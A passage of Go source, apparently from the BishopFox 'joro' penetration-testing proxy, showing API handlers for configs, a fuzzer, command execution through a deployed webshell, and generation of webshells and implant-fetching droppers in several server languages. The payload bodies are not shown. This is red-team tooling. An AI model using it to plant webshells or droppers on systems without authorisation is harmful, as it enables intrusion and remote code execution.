return nil
}
out := make(map[string][]byte, len(encoded))
for name, enc := range encoded {
data, err := base64.StdEncoding.DecodeString(enc)
if err != nil {
log.Printf("[plugins] skipping corrupt state blob for %q: %v", name, err)
continue
}
out[name] = data
}
return out
}
// mergePluginStates overlays fresh on top of ghost. Used at save time so blobs
// belonging to plugins not installed on this machine are preserved across a
// load -> save round-trip.
func mergePluginStates(ghost, fresh map[string][]byte) map[string][]byte {
if len(ghost) == 0 && len(fresh) == 0 {
return nil
}
out := make(map[string][]byte, len(ghost)+len(fresh))
for name, data := range ghost {
out[name] = data
}
for name, data := range fresh {
out[name] = data
}
return out
}
// ---- Handlers ----
func (s *APIServer) handleListUserConfigs(w http.ResponseWriter, r *http.Request) {
names, err := s.configStore.List("user")
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
s.mu.RLock()
active := s.activeUserConfig
s.mu.RUnlock()
writeJSON(w, http.StatusOK, map[string]any{"configs": names, "active": active})
}
func (s *APIServer) handleSaveUserConfig(w http.ResponseWriter, r *http.Request) {
var body struct {
Name string `json:"name"`
Theme string `json:"theme"`
HiddenTabs []string `json:"hiddenTabs"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
if err := configstore.ValidateName(body.Name); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
s.mu.RLock()
cfg := userConfigFile{
Version: 3,
SOCKSHost: s.settings.SOCKSHost,
SOCKSPort: s.settings.SOCKSPort,
SOCKSUsername: s.settings.SOCKSUsername,
SOCKSPassword: s.settings.SOCKSPassword,
SOCKSDNS: s.settings.SOCKSDNS,
HTTP2Enabled: s.settings.HTTP2Enabled,
KeepAliveEnabled: s.settings.KeepAliveEnabled,
InterceptTimeout: s.settings.InterceptTimeout,
MaxRequests: s.settings.MaxRequests,
DisableUpdateChecks: s.settings.DisableUpdateChecks,
Theme: body.Theme,
HiddenTabs: body.HiddenTabs,
}
ghost := s.pendingUserPluginStates
s.mu.RUnlock()
var fresh map[string][]byte
if s.pluginManager != nil {
fresh = s.pluginManager.ExportUserStates()
}
cfg.PluginStates = encodePluginStates(mergePluginStates(ghost, fresh))
data, _ := json.MarshalIndent(cfg, "", " ")
if err := s.configStore.Save("user", body.Name, data); err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
s.mu.Lock()
s.activeUserConfig = body.Name
s.mu.Unlock()
writeJSON(w, http.StatusOK, map[string]string{"status": "saved", "name": body.Name})
}
func (s *APIServer) handleLoadUserConfig(w http.ResponseWriter, r *http.Request) {
name := r.PathValue("name")
data, err := s.configStore.Load("user", name)
if err != nil {
writeError(w, http.StatusNotFound, err.Error())
return
}
var cfg userConfigFile
if err := json.Unmarshal(data, &cfg); err != nil {
writeError(w, http.StatusInternalServerError, "corrupt config file")
return
}
decodedPluginStates := decodePluginStates(cfg.PluginStates)
s.mu.Lock()
s.settings.SOCKSHost = cfg.SOCKSHost
s.settings.SOCKSPort = cfg.SOCKSPort
s.settings.SOCKSUsername = cfg.SOCKSUsername
s.settings.SOCKSPassword = cfg.SOCKSPassword
s.settings.SOCKSDNS = cfg.SOCKSDNS
s.settings.HTTP2Enabled = cfg.HTTP2Enabled
s.settings.KeepAliveEnabled = cfg.KeepAliveEnabled
s.settings.InterceptTimeout = cfg.InterceptTimeout
if cfg.MaxRequests > 0 {
s.settings.MaxRequests = cfg.MaxRequests
}
s.settings.DisableUpdateChecks = cfg.DisableUpdateChecks
s.activeUserConfig = name
s.pendingUserPluginStates = decodedPluginStates
settings := s.settings
s.mu.Unlock()
// Apply side effects.
if s.transport != nil {
s.transport.SetHTTP2(cfg.HTTP2Enabled)
s.transport.SetKeepAlive(cfg.KeepAliveEnabled)
s.transport.SetSOCKS(cfg.SOCKSHost, cfg.SOCKSPort, cfg.SOCKSUsername, cfg.SOCKSPassword, cfg.SOCKSDNS)
}
if s.intercept != nil && cfg.InterceptTimeout > 0 {
s.intercept.SetTimeout(time.Duration(cfg.InterceptTimeout) * time.Second)
}
if s.store != nil && cfg.MaxRequests > 0 {
s.store.SetMaxSize(cfg.MaxRequests)
}
var unknownPluginStates []string
if s.pluginManager != nil {
unknownPluginStates = s.pluginManager.ApplyUserStates(decodedPluginStates)
}
// Return settings + theme so frontend can update.
resp := struct {
Settings
Theme string `json:"theme"`
HiddenTabs []string `json:"hiddenTabs,omitempty"`
UnknownPluginStates []string `json:"unknownPluginStates,omitempty"`
}{
Settings: settings,
Theme: cfg.Theme,
HiddenTabs: cfg.HiddenTabs,
UnknownPluginStates: unknownPluginStates,
}
writeJSON(w, http.StatusOK, resp)
}
func (s *APIServer) handleDeleteUserConfig(w http.ResponseWriter, r *http.Request) {
name := r.PathValue("name")
if err := s.configStore.Delete("user", name); err != nil {
writeError(w, http.StatusNotFound, err.Error())
return
}
s.mu.Lock()
if s.activeUserConfig == name {
s.activeUserConfig = ""
}
s.mu.Unlock()
writeJSON(w, http.StatusOK, map[string]string{"status": "deleted"})
}
// --- Project Config Handlers ---
func (s *APIServer) handleListProjectConfigs(w http.ResponseWriter, r *http.Request) {
names, err := s.configStore.List("project")
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
s.mu.RLock()
active := s.activeProjectConfig
s.mu.RUnlock()
writeJSON(w, http.StatusOK, map[string]any{"configs": names, "active": active})
}
func (s *APIServer) handleSaveProjectConfig(w http.ResponseWriter, r *http.Request) {
var body struct {
Name string `json:"name"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
if err := configstore.ValidateName(body.Name); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
// Read team server settings.
s.mu.RLock()
listenerURL := s.settings.ListenerURL
teamToken := s.settings.TeamToken
teamNickname := s.settings.TeamNickname
s.mu.RUnlock()
// Read scope rules (strip IDs).
scopeRules := s.scope.Rules()
pScopeRules := make([]projectScopeRule, len(scopeRules))
for i, r := range scopeRules {
pScopeRules[i] = projectScopeRule{
Pattern: r.Pattern, Methods: r.Methods, Path: r.Path, Include: r.Include,
}
}
// Read noise patterns (strip IDs).
noisePatterns := s.noise.Patterns()
pNoisePatterns := make([]projectNoisePattern, len(noisePatterns))
for i, p := range noisePatterns {
pNoisePatterns[i] = projectNoisePattern{Pattern: p.Pattern}
}
// Read match/replace rules (strip IDs).
replaceRules := s.replace.Rules()
pReplaceRules := make([]projectReplaceRule, len(replaceRules))
for i, r := range replaceRules {
pReplaceRules[i] = projectReplaceRule{
Target: r.Target, MatchType: r.MatchType, Match: r.Match, Replace: r.Replace,
}
}
// Read custom data items (strip IDs).
customItems := s.customData.Items()
pCustomItems := make([]projectCustomItem, len(customItems))
for i, item := range customItems {
pCustomItems[i] = projectCustomItem{Type: item.Type, Name: item.Name, Value: item.Value}
}
// Read notes from the in-memory store.
var pNotes []projectNote
if s.noteStore != nil {
allNotes, err := s.noteStore.LoadAll()
if err == nil {
pNotes = make([]projectNote, len(allNotes))
for i, n := range allNotes {
pNotes[i] = projectNote{Host: n.Host, Content: n.Content, Author: n.Author}
}
}
}
// Read highlights.
s.mu.RLock()
pHighlights := make(map[string]string, len(s.highlights))
for k, v := range s.highlights {
pHighlights[k] = v
}
s.mu.RUnlock()
// Export request history.
allReqs := s.store.All()
pReqs := make([]projectCapturedRequest, len(allReqs))
for i, r := range allReqs {
pReqs[i] = projectCapturedRequest{
ID: r.ID, Seq: r.Seq, Timestamp: r.Timestamp.Format(time.RFC3339Nano),
Method: r.Method, URL: r.URL, Host: r.Host,
StatusCode: r.StatusCode, ContentType: r.ContentType,
DurationNs: int64(r.Duration), ReqRaw: r.ReqRaw, RespRaw: r.RespRaw,
}
}
s.mu.RLock()
projectGhost := s.pendingProjectPluginStates
s.mu.RUnlock()
var projectFresh map[string][]byte
if s.pluginManager != nil {
projectFresh = s.pluginManager.ExportProjectStates()
}
cfg := projectConfigFile{
Version: 3,
ListenerURL: listenerURL,
TeamToken: teamToken,
TeamNickname: teamNickname,
ScopeEnabled: s.scope.IsEnabled(),
ScopeRules: pScopeRules,
NoiseEnabled: s.noise.IsEnabled(),
NoisePatterns: pNoisePatterns,
ReplaceEnabled: s.replace.IsEnabled(),
ReplaceRules: pReplaceRules,
CustomDataEnabled: s.customData.IsEnabled(),
CustomDataItems: pCustomItems,
Notes: pNotes,
Highlights: pHighlights,
RequestHistory: pReqs,
PluginStates: encodePluginStates(mergePluginStates(projectGhost, projectFresh)),
}
jsonData, _ := json.Marshal(cfg)
var buf bytes.Buffer
gz := gzip.NewWriter(&buf)
if _, err := gz.Write(jsonData); err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
if err := gz.Close(); err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
if err := s.configStore.SaveGzip("project", body.Name, buf.Bytes()); err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
s.mu.Lock()
s.activeProjectConfig = body.Name
s.mu.Unlock()
writeJSON(w, http.StatusOK, map[string]string{"status": "saved", "name": body.Name})
}
func (s *APIServer) handleLoadProjectConfig(w http.ResponseWriter, r *http.Request) {
name := r.PathValue("name")
data, err := s.configStore.LoadAny("project", name)
if err != nil {
writeError(w, http.StatusNotFound, err.Error())
return
}
// Decompress if gzip (magic bytes 0x1f 0x8b).
// Limit decompressed size to 2GB to prevent gzip bombs.
const maxDecompressedSize = 2 << 30
isLegacy := !(len(data) >= 2 && data[0] == 0x1f && data[1] == 0x8b)
if !isLegacy {
gz, err := gzip.NewReader(bytes.NewReader(data))
if err != nil {
writeError(w, http.StatusInternalServerError, "failed to decompress config")
return
}
data, err = io.ReadAll(io.LimitReader(gz, maxDecompressedSize+1))
gz.Close()
if err != nil {
writeError(w, http.StatusInternalServerError, "failed to decompress config")
return
}
if len(data) > maxDecompressedSize {
writeError(w, http.StatusBadRequest, "config file exceeds maximum size")
return
}
}
var cfg projectConfigFile
if err := json.Unmarshal(data, &cfg); err != nil {
writeError(w, http.StatusInternalServerError, "corrupt config file")
return
}
// Cap request history to the store's capacity to prevent memory exhaustion.
maxHistory := s.store.MaxSize()
if len(cfg.RequestHistory) > maxHistory {
cfg.RequestHistory = cfg.RequestHistory[len(cfg.RequestHistory)-maxHistory:]
}
// Convert legacy .json config to .joro format.
if isLegacy {
converted, _ := json.Marshal(cfg)
var buf bytes.Buffer
gz := gzip.NewWriter(&buf)
gz.Write(converted)
gz.Close()
_ = s.configStore.SaveGzip("project", name, buf.Bytes())
}
decodedPluginStates := decodePluginStates(cfg.PluginStates)
// Apply team server settings.
teamSettingsChanged := false
s.mu.Lock()
if cfg.ListenerURL != s.settings.ListenerURL || cfg.TeamToken != s.settings.TeamToken || cfg.TeamNickname != s.settings.TeamNickname {
teamSettingsChanged = true
}
s.settings.ListenerURL = cfg.ListenerURL
s.settings.TeamToken = cfg.TeamToken
s.settings.TeamNickname = cfg.TeamNickname
s.activeProjectConfig = name
s.pendingProjectPluginStates = decodedPluginStates
settings := s.settings
s.mu.Unlock()
if teamSettingsChanged && s.listenerRelay != nil {
s.listenerRelay.Update(settings.ListenerURL, settings.TeamToken, settings.TeamNickname)
}
// Apply scope.
scopeRules := make([]proxy.ScopeRule, len(cfg.ScopeRules))
for i, r := range cfg.ScopeRules {
scopeRules[i] = proxy.ScopeRule{
ID: proxy.GenerateID(), Pattern: r.Pattern, Methods: r.Methods, Path: r.Path, Include: r.Include,
}
}
s.scope.SetEnabled(cfg.ScopeEnabled)
s.scope.SetRules(scopeRules)
// Apply noise patterns.
noisePatterns := make([]proxy.NoisePattern, len(cfg.NoisePatterns))
for i, p := range cfg.NoisePatterns {
noisePatterns[i] = proxy.NoisePattern{ID: proxy.GenerateID(), Pattern: p.Pattern}
}
s.noise.SetEnabled(cfg.NoiseEnabled)
s.noise.SetPatterns(noisePatterns)
// Apply match/replace rules.
replaceRules := make([]proxy.MatchReplaceRule, len(cfg.ReplaceRules))
for i, r := range cfg.ReplaceRules {
replaceRules[i] = proxy.MatchReplaceRule{
ID: proxy.GenerateID(), Target: r.Target, MatchType: r.MatchType, Match: r.Match, Replace: r.Replace,
}
}
s.replace.SetEnabled(cfg.ReplaceEnabled)
s.replace.SetRules(replaceRules)
// Apply custom data items.
customItems := make([]proxy.CustomAddition, len(cfg.CustomDataItems))
for i, item := range cfg.CustomDataItems {
customItems[i] = proxy.CustomAddition{
ID: proxy.GenerateID(), Type: item.Type, Name: item.Name, Value: item.Value,
}
}
s.customData.SetEnabled(cfg.CustomDataEnabled)
s.customData.SetItems(customItems)
// Apply notes: clear existing, then insert from config with validation.
if s.noteStore != nil {
_ = s.noteStore.ClearAll()
for _, n := range cfg.Notes {
host := n.Host
content := n.Content
author := n.Author
// Cap field lengths to prevent oversized data from crafted configs.
if len(host) > 253 {
host = host[:253]
}
if len(content) > 65536 {
content = content[:65536]
}
if len(author) > 64 {
author = author[:64]
}
if host == "" || content == "" {
continue
}
id, err := uuid.GenerateUUID()
if err != nil {
continue
}
_, _ = s.noteStore.CreateNote(id, host, content, author)
}
}
// Apply highlights.
s.mu.Lock()
s.highlights = make(map[string]string)
for k, v := range cfg.Highlights {
s.highlights[k] = v
}
s.mu.Unlock()
// Restore request history.
if len(cfg.RequestHistory) > 0 {
items := make([]*proxy.CapturedRequest, len(cfg.RequestHistory))
for i, r := range cfg.RequestHistory {
ts, _ := time.Parse(time.RFC3339Nano, r.Timestamp)
items[i] = &proxy.CapturedRequest{
ID: r.ID, Seq: r.Seq, Timestamp: ts,
Method: r.Method, URL: r.URL, Host: r.Host,
StatusCode: r.StatusCode, ContentType: r.ContentType,
Duration: time.Duration(r.DurationNs),
ReqRaw: r.ReqRaw, RespRaw: r.RespRaw,
}
}
s.store.LoadItems(items)
} else {
s.store.Clear()
}
var unknownPluginStates []string
if s.pluginManager != nil {
unknownPluginStates = s.pluginManager.ApplyProjectStates(decodedPluginStates)
}
// Return full project state.
resp := map[string]any{
"listenerUrl": cfg.ListenerURL,
"teamToken": cfg.TeamToken,
"teamNickname": cfg.TeamNickname,
"scopeEnabled": cfg.ScopeEnabled,
"scopeRules": scopeRules,
"noiseEnabled": cfg.NoiseEnabled,
"noisePatterns": noisePatterns,
"replaceEnabled": cfg.ReplaceEnabled,
"replaceRules": replaceRules,
"customDataEnabled": cfg.CustomDataEnabled,
"customDataItems": customItems,
"historyRestored": true,
}
if len(unknownPluginStates) > 0 {
resp["unknownPluginStates"] = unknownPluginStates
}
writeJSON(w, http.StatusOK, resp)
}
func (s *APIServer) handleDeleteProjectConfig(w http.ResponseWriter, r *http.Request) {
name := r.PathValue("name")
if err := s.configStore.DeleteAll("project", name); err != nil {
writeError(w, http.StatusNotFound, err.Error())
return
}
s.mu.Lock()
if s.activeProjectConfig == name {
s.activeProjectConfig = ""
}
s.mu.Unlock()
writeJSON(w, http.StatusOK, map[string]string{"status": "deleted"})
}
+67
View File
@@ -0,0 +1,67 @@
package api
import (
"encoding/json"
"net/http"
"github.com/BishopFox/joro/internal/proxy"
)
func (s *APIServer) handleGetCustomData(w http.ResponseWriter, r *http.Request) {
items := s.customData.Items()
if items == nil {
items = []proxy.CustomAddition{}
}
writeJSON(w, http.StatusOK, map[string]any{
"enabled": s.customData.IsEnabled(),
"items": items,
})
}
func (s *APIServer) handleSetCustomDataEnabled(w http.ResponseWriter, r *http.Request) {
var body struct {
Enabled bool `json:"enabled"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
s.customData.SetEnabled(body.Enabled)
writeJSON(w, http.StatusOK, map[string]bool{"enabled": body.Enabled})
}
func (s *APIServer) handleAddCustomDataItem(w http.ResponseWriter, r *http.Request) {
var body struct {
Type string `json:"type"`
Name string `json:"name"`
Value string `json:"value"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
valid := map[string]bool{"header": true, "query": true, "body": true}
if !valid[body.Type] {
writeError(w, http.StatusBadRequest, "type must be header, query, or body")
return
}
if body.Type != "body" && body.Name == "" {
writeError(w, http.StatusBadRequest, "name is required for header and query items")
return
}
if body.Value == "" {
writeError(w, http.StatusBadRequest, "value is required")
return
}
item := s.customData.AddItem(body.Type, body.Name, body.Value)
writeJSON(w, http.StatusCreated, item)
}
func (s *APIServer) handleDeleteCustomDataItem(w http.ResponseWriter, r *http.Request) {
id := r.PathValue("id")
if !s.customData.RemoveItem(id) {
writeError(w, http.StatusNotFound, "item not found")
return
}
writeJSON(w, http.StatusOK, map[string]string{"deleted": id})
}
+42
View File
@@ -0,0 +1,42 @@
package api
import (
"encoding/json"
"net/http"
"github.com/BishopFox/joro/internal/proxy"
"github.com/BishopFox/joro/internal/shell"
)
func (s *APIServer) handleExecute(w http.ResponseWriter, r *http.Request) {
var body struct {
Target string `json:"target"`
Webshell string `json:"webshell"`
AuthKey string `json:"authKey"`
Command string `json:"command"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
if body.Target == "" || body.Webshell == "" || body.AuthKey == "" || body.Command == "" {
writeError(w, http.StatusBadRequest, "target, webshell, authKey, and command are required")
return
}
client := proxy.NewHTTPClient("", s.transport)
output, err := shell.ExecuteCommand(body.Target, body.Webshell, body.AuthKey, body.Command, client)
if err != nil {
writeJSON(w, http.StatusOK, map[string]string{
"output": "",
"error": err.Error(),
})
return
}
writeJSON(w, http.StatusOK, map[string]string{
"output": output,
"error": "",
})
}
+332
View File
@@ -0,0 +1,332 @@
package api
import (
"bufio"
"bytes"
"context"
"encoding/base64"
"encoding/json"
"fmt"
"net/http"
"strconv"
"strings"
"sync/atomic"
"time"
"github.com/BishopFox/joro/internal/event"
"github.com/BishopFox/joro/internal/fuzzer"
)
type fuzzerStartRequest struct {
Raw string `json:"raw"`
Scheme string `json:"scheme"`
Host string `json:"host"`
Wordlist []string `json:"wordlist"` // Single-position wordlist
Wordlists map[string][]string `json:"wordlists,omitempty"` // Multi-position: position → wordlist
AttackMode string `json:"attackMode,omitempty"` // spray, split, yolo
Threads int `json:"threads"`
RateLimit float64 `json:"rateLimit"`
FollowRedirects bool `json:"followRedirects"`
UpdateContentLength *bool `json:"updateContentLength,omitempty"`
FuzzKeyword string `json:"fuzzKeyword"`
Matchers []fuzzer.Matcher `json:"matchers"`
Filters []fuzzer.Filter `json:"filters"`
MatcherMode string `json:"matcherMode"`
FilterMode string `json:"filterMode"`
MaxStoredBodies int `json:"maxStoredBodies,omitempty"`
}
func (s *APIServer) handleFuzzerStart(w http.ResponseWriter, r *http.Request) {
var req fuzzerStartRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
rawBytes, err := base64.StdEncoding.DecodeString(req.Raw)
if err != nil {
writeError(w, http.StatusBadRequest, "invalid raw base64")
return
}
// Detect fuzz positions in the request template
positions := fuzzer.DetectPositions(rawBytes)
if len(positions) == 0 {
// Fallback: check for custom keyword
keyword := req.FuzzKeyword
if keyword == "" {
keyword = "FUZZ"
}
if bytes.Contains(rawBytes, []byte(keyword)) {
positions = []string{keyword}
} else {
writeError(w, http.StatusBadRequest, "request template does not contain any FUZZ position markers")
return
}
}
threads := req.Threads
if threads < 1 {
threads = 10
}
if threads > 100 {
threads = 100
}
updateCL := req.UpdateContentLength == nil || *req.UpdateContentLength
cfg := fuzzer.Config{
RawRequest: rawBytes,
Scheme: req.Scheme,
Host: req.Host,
Positions: positions,
Threads: threads,
RateLimit: req.RateLimit,
FollowRedirects: req.FollowRedirects,
UpdateContentLength: updateCL,
FuzzKeyword: req.FuzzKeyword,
Matchers: req.Matchers,
Filters: req.Filters,
MatcherMode: req.MatcherMode,
FilterMode: req.FilterMode,
MaxStoredBodies: req.MaxStoredBodies,
}
if len(positions) <= 1 {
// Single-position mode
if len(req.Wordlist) == 0 {
writeError(w, http.StatusBadRequest, "wordlist is empty")
return
}
cfg.Wordlist = req.Wordlist
} else {
// Multi-position mode
mode := fuzzer.AttackMode(req.AttackMode)
if mode != fuzzer.AttackSpray && mode != fuzzer.AttackSplit && mode != fuzzer.AttackYolo {
writeError(w, http.StatusBadRequest, "invalid attackMode: must be spray, split, or yolo")
return
}
cfg.AttackMode = mode
if mode == fuzzer.AttackSpray {
// Spray: single wordlist used for all positions
if len(req.Wordlist) == 0 {
writeError(w, http.StatusBadRequest, "wordlist is empty")
return
}
cfg.Wordlists = make(map[string][]string, len(positions))
for _, pos := range positions {
cfg.Wordlists[pos] = req.Wordlist
}
} else {
// Split/Yolo: require a wordlist for each position
if len(req.Wordlists) == 0 {
writeError(w, http.StatusBadRequest, "wordlists map is required for split/yolo modes")
return
}
for _, pos := range positions {
wl, ok := req.Wordlists[pos]
if !ok || len(wl) == 0 {
writeError(w, http.StatusBadRequest, fmt.Sprintf("missing or empty wordlist for position %s", pos))
return
}
_ = wl
}
cfg.Wordlists = req.Wordlists
// Safety limit for yolo mode
if mode == fuzzer.AttackYolo {
total := fuzzer.CalcTotal(cfg)
if total > 10_000_000 {
writeError(w, http.StatusBadRequest, fmt.Sprintf("yolo mode would generate %d requests (max 10,000,000)", total))
return
}
}
}
}
ctx, cancel := context.WithCancel(context.Background())
campaign := fuzzer.NewCampaign(cfg, cancel)
s.fuzzerStore.Add(campaign)
go fuzzer.Run(ctx, campaign, s.transport, s.hub.Broadcast())
s.hub.Broadcast() <- event.WSEvent{
Type: "fuzzer.started",
Data: map[string]any{
"campaignId": campaign.ID,
"total": campaign.Total,
},
}
writeJSON(w, http.StatusCreated, map[string]any{
"campaignId": campaign.ID,
"total": campaign.Total,
})
}
func (s *APIServer) handleFuzzerStop(w http.ResponseWriter, r *http.Request) {
id := r.PathValue("id")
campaign := s.fuzzerStore.Get(id)
if campaign == nil {
writeError(w, http.StatusNotFound, "campaign not found")
return
}
if campaign.Status != fuzzer.StatusRunning {
writeError(w, http.StatusConflict, "campaign is not running")
return
}
campaign.Cancel()
writeJSON(w, http.StatusOK, map[string]string{"status": "stopping"})
}
func (s *APIServer) handleFuzzerListCampaigns(w http.ResponseWriter, r *http.Request) {
campaigns := s.fuzzerStore.List()
type summary struct {
ID string `json:"id"`
Status fuzzer.CampaignStatus `json:"status"`
CreatedAt string `json:"createdAt"`
Total int `json:"total"`
Completed int64 `json:"completed"`
Errors int64 `json:"errors"`
}
items := make([]summary, 0, len(campaigns))
for _, c := range campaigns {
items = append(items, summary{
ID: c.ID,
Status: c.Status,
CreatedAt: c.CreatedAt.Format(time.RFC3339),
Total: c.Total,
Completed: atomic.LoadInt64(&c.Completed),
Errors: atomic.LoadInt64(&c.Errors),
})
}
writeJSON(w, http.StatusOK, map[string]any{"campaigns": items})
}
func (s *APIServer) handleFuzzerGetCampaign(w http.ResponseWriter, r *http.Request) {
id := r.PathValue("id")
campaign := s.fuzzerStore.Get(id)
if campaign == nil {
writeError(w, http.StatusNotFound, "campaign not found")
return
}
offset, _ := strconv.Atoi(r.URL.Query().Get("offset"))
limit, _ := strconv.Atoi(r.URL.Query().Get("limit"))
if limit <= 0 {
limit = 100
}
page, resultTotal := campaign.ResultsPage(offset, limit)
if page == nil {
page = []fuzzer.Result{}
}
writeJSON(w, http.StatusOK, map[string]any{
"id": campaign.ID,
"status": campaign.Status,
"createdAt": campaign.CreatedAt.Format(time.RFC3339),
"total": campaign.Total,
"completed": atomic.LoadInt64(&campaign.Completed),
"errors": atomic.LoadInt64(&campaign.Errors),
"results": page,
"resultTotal": resultTotal,
"offset": offset,
"limit": limit,
})
}
func (s *APIServer) handleFuzzerGetResult(w http.ResponseWriter, r *http.Request) {
id := r.PathValue("id")
indexStr := r.PathValue("index")
campaign := s.fuzzerStore.Get(id)
if campaign == nil {
writeError(w, http.StatusNotFound, "campaign not found")
return
}
index, err := strconv.Atoi(indexStr)
if err != nil {
writeError(w, http.StatusBadRequest, "invalid index")
return
}
result, found := campaign.GetResult(index)
if !found {
writeError(w, http.StatusNotFound, "result not found")
return
}
resp := map[string]any{
"index": result.Index,
"payload": result.Payload,
"statusCode": result.StatusCode,
"size": result.Size,
"words": result.Words,
"lines": result.Lines,
"durationMs": result.DurationMs,
"url": result.URL,
"hasBody": result.ReqRaw != nil,
}
if result.Payloads != nil {
resp["payloads"] = result.Payloads
}
if result.Error != "" {
resp["error"] = result.Error
}
if result.ReqRaw != nil {
resp["reqRaw"] = base64.StdEncoding.EncodeToString(result.ReqRaw)
}
if result.RespRaw != nil {
resp["respRaw"] = base64.StdEncoding.EncodeToString(result.RespRaw)
}
writeJSON(w, http.StatusOK, resp)
}
func (s *APIServer) handleFuzzerDeleteCampaign(w http.ResponseWriter, r *http.Request) {
id := r.PathValue("id")
campaign := s.fuzzerStore.Get(id)
if campaign == nil {
writeError(w, http.StatusNotFound, "campaign not found")
return
}
if campaign.Status == fuzzer.StatusRunning {
writeError(w, http.StatusConflict, "cannot delete a running campaign")
return
}
s.fuzzerStore.Delete(id)
writeJSON(w, http.StatusOK, map[string]string{"status": "deleted"})
}
func (s *APIServer) handleFuzzerUploadWordlist(w http.ResponseWriter, r *http.Request) {
r.Body = http.MaxBytesReader(w, r.Body, 50<<20) // 50MB limit
file, _, err := r.FormFile("file")
if err != nil {
writeError(w, http.StatusBadRequest, "missing file field")
return
}
defer file.Close()
var lines []string
scanner := bufio.NewScanner(file)
scanner.Buffer(make([]byte, 1<<20), 1<<20)
for scanner.Scan() {
line := strings.TrimSpace(scanner.Text())
if line != "" {
lines = append(lines, line)
}
}
if err := scanner.Err(); err != nil {
writeError(w, http.StatusBadRequest, fmt.Sprintf("reading file: %v", err))
return
}
writeJSON(w, http.StatusOK, map[string]any{
"lines": lines,
"count": len(lines),
})
}
+143
View File
@@ -0,0 +1,143 @@
package api
import (
"encoding/base64"
"encoding/json"
"fmt"
"net/http"
"net/url"
"strings"
"github.com/BishopFox/joro/internal/shell"
)
func (s *APIServer) handleGenerate(w http.ResponseWriter, r *http.Request) {
var body struct {
Format string `json:"format"`
Mode string `json:"mode"` // "webshell" (default) | "dropper"
ImplantURL string `json:"implantUrl"` // required when mode=dropper
BinaryName string `json:"binaryName"` // required when mode=dropper && !inMemory
InMemory bool `json:"inMemory"` // execute in memory without writing to disk
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
format := strings.ToLower(strings.TrimSpace(body.Format))
mode := strings.ToLower(strings.TrimSpace(body.Mode))
if mode == "" {
mode = "webshell"
}
if mode == "dropper" {
s.handleGenerateDropper(w, format, body.ImplantURL, body.BinaryName, body.InMemory)
return
}
var (
content string
authKey string
err error
ext string
)
switch format {
case "asp":
content, authKey, err = shell.GenerateASP()
ext = "asp"
case "aspx":
content, authKey, err = shell.GenerateASPX()
ext = "aspx"
case "ashx":
content, authKey, err = shell.GenerateASHX()
ext = "ashx"
case "php":
content, authKey, err = shell.GeneratePHP()
ext = "php"
case "jsp":
content, authKey, err = shell.GenerateJSP()
ext = "jsp"
case "cfm":
content, authKey, err = shell.GenerateCFM()
ext = "cfm"
default:
writeError(w, http.StatusBadRequest, fmt.Sprintf("unsupported format %q; use asp, ashx, aspx, cfm, jsp, or php", format))
return
}
if err != nil {
writeError(w, http.StatusInternalServerError, fmt.Sprintf("generating shell: %v", err))
return
}
writeJSON(w, http.StatusOK, map[string]string{
"fileName": "joro." + ext,
"authKey": authKey,
"content": base64.StdEncoding.EncodeToString([]byte(content)),
})
}
func (s *APIServer) handleGenerateDropper(w http.ResponseWriter, format, implantURL, binaryName string, inMemory bool) {
// Validate implant URL
implantURL = strings.TrimSpace(implantURL)
if implantURL == "" {
writeError(w, http.StatusBadRequest, "implantUrl is required for dropper mode")
return
}
u, err := url.Parse(implantURL)
if err != nil || (u.Scheme != "http" && u.Scheme != "https") {
writeError(w, http.StatusBadRequest, "implantUrl must be a valid HTTP or HTTPS URL")
return
}
// Validate binary name for disk mode
if !inMemory {
binaryName = strings.TrimSpace(binaryName)
if binaryName == "" {
writeError(w, http.StatusBadRequest, "binaryName is required for on-disk dropper mode")
return
}
}
var (
content string
authKey string
ext string
)
switch format {
case "php":
content, authKey, err = shell.GenerateDropperPHP(implantURL, binaryName, inMemory)
ext = "php"
case "asp":
content, authKey, err = shell.GenerateDropperASP(implantURL, binaryName, inMemory)
ext = "asp"
case "aspx":
content, authKey, err = shell.GenerateDropperASPX(implantURL, binaryName, inMemory)
ext = "aspx"
case "ashx":
content, authKey, err = shell.GenerateDropperASHX(implantURL, binaryName, inMemory)
ext = "ashx"
case "jsp":
content, authKey, err = shell.GenerateDropperJSP(implantURL, binaryName, inMemory)
ext = "jsp"
case "cfm":
content, authKey, err = shell.GenerateDropperCFM(implantURL, binaryName, inMemory)
ext = "cfm"
default:
writeError(w, http.StatusBadRequest, fmt.Sprintf("unsupported format %q; use asp, ashx, aspx, cfm, jsp, or php", format))
return
}
if err != nil {
writeError(w, http.StatusInternalServerError, fmt.Sprintf("generating dropper: %v", err))
return
}
writeJSON(w, http.StatusOK, map[string]string{
"fileName": "joro-dropper." + ext,
"authKey": authKey,
"content": base64.StdEncoding.EncodeToString([]byte(content)),
})
}
+44
View File
@@ -0,0 +1,44 @@
package api
import (
"encoding/json"
"net/http"
)
func (s *APIServer) handleGetHighlights(w http.ResponseWriter, r *http.Request) {
s.mu.RLock()
h := make(map[string]string, len(s.highlights))
for k, v := range s.highlights {
h[k] = v
}
s.mu.RUnlock()
writeJSON(w, http.StatusOK, map[string]any{"highlights": h})
}
func (s *APIServer) handleSetHighlight(w http.ResponseWriter, r *http.Request) {
id := r.PathValue("id")
var body struct {
Color string `json:"color"`
}
